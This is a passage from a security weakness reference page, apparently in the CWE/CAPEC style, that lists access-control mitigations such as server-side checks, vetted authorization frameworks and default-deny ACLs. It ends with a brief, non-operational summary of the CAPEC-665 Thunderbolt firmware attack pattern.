  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list